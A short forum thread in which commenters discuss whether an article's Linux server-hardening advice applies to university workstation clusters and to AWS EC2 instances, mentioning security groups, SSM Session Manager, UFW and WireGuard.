  Sibling is snarky but correct. I don't think your situation has anything to do with what I described. It may still be linux, but it strikes me like saying that the maintenance manual is different between a sports car and a dump truck. Well yeah, obviously. Bad though I think the original article might be, it would be 10x worse to attempt to write the reluctant sysadmin's guide to triple-digit workstation clusters in a university environment. Nothing about best practices for production web servers will apply for that, you need to hire an actual sysadmin.

_el 3y ago

It's definitely neat to know how these things work on a Linux server, but most of this advice doesn't make sense for an EC2 instance. You should be using security groups instead of UFW (indeed the article mentions this). You don't need to configure SSH access because SSM session manager exists, which also makes the WireGuard setup superfluous, too.